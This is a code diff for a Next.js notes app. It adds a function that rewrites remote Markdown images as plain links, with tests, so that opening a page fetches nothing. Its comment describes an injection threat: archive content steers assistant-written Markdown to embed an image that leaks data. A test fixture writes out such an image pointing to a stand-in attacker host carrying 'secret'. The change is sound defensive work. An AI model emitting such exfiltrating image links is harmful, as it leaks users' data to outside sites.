adeelahmad · Oct 6, 2026 · Oct 6, 2026
diff --git a/nextjs-frontend/__tests__/notes-links.test.ts b/nextjs-frontend/__tests__/notes-links.test.ts
@@ -1,4 +1,4 @@
-import { hrefFor, pageOf } from "@/components/notes/links";
+import { hrefFor, pageOf, remoteImagesAsLinks } from "@/components/notes/links";
 
 describe("links in notes", () => {
   it("open the thing in the app", () => {
@@ -20,3 +20,20 @@ describe("links in notes", () => {
     expect(pageOf("entity:5")).toBe("/notes/about/entity/5");
   });
 });
+
+describe("remoteImagesAsLinks", () => {
+  it("turns web images into links, so opening a page fetches nothing", () => {
+    expect(remoteImagesAsLinks("Look ![chart](https://evil.example/?q=secret) here")).toBe(
+      "Look [chart](https://evil.example/?q=secret) here",
+    );
+    expect(remoteImagesAsLinks('![x](http://a.example/i.png "title")')).toBe('[x](http://a.example/i.png "title")');
+    expect(remoteImagesAsLinks("![x][ref]\n\n[ref]: https://a.example/i.png")).toBe(
+      "[x][ref]\n\n[ref]: https://a.example/i.png",
+    );
+  });
+
+  it("leaves other Markdown alone", () => {
+    const md = "# Title\n\n[a link](https://a.example) and ![](data:image/png;base64,AAAA) and @[Ada](entity:5)";
+    expect(remoteImagesAsLinks(md)).toBe(md);
+  });
+});
diff --git a/nextjs-frontend/components/notes/block-editor.tsx b/nextjs-frontend/components/notes/block-editor.tsx
@@ -4,6 +4,7 @@ import "@toeverything/theme/style.css";
 
 import { useEffect, useRef } from "react";
 
+import { remoteImagesAsLinks } from "@/components/notes/links";
 import { cn } from "@/lib/utils";
 
 export type LinkTarget = { target: string; label: string; kind: string };
@@ -120,7 +121,10 @@ export default function BlockEditor({
       } else {
         const job = new store.Job({ collection });
         const made = markdown.trim()
-          ? await new blocks.MarkdownAdapter(job).toDoc({ file: markdown, assets: job.assetsManager })
+          ? await new blocks.MarkdownAdapter(job).toDoc({
+              file: remoteImagesAsLinks(markdown),
+              assets: job.assetsManager,
+            })
           : undefined;
         if (made) id = made.id;
         else {
@@ -143,7 +147,7 @@ export default function BlockEditor({
         if (target && markdown.trim()) {
           const job = new store.Job({ collection });
           const slice = await new blocks.MarkdownAdapter(job).toSliceSnapshot({
-            file: markdown,
+            file: remoteImagesAsLinks(markdown),
             assets: job.assetsManager,
             workspaceId: collection.id,
             pageId: page.id,

diff --git a/nextjs-frontend/components/notes/links.ts b/nextjs-frontend/components/notes/links.ts
@@ -33,3 +33,12 @@ export const PLACES = [
   { value: "resource", label: "Resource" },
   { value: "archive", label: "Archive" },
 ] as const;
+
+/** Markdown images from the web, as links. BlockSuite's Markdown importer fetches every http(s) image as the page
+ * opens, so an image in Markdown the assistant or the API wrote (text that content in the archive can steer) would
+ * send whatever its address holds to that site without a click. Links still need one. */
+export function remoteImagesAsLinks(markdown: string): string {
+  return markdown
+    .replace(/!\[([^\]]*)\]\(\s*(<?https?:[^)]*)\)/gi, "[$1]($2)")
+    .replace(/!\[([^\]]*)\]\[([^\]]*)\]/g, "[$1][$2]");
+}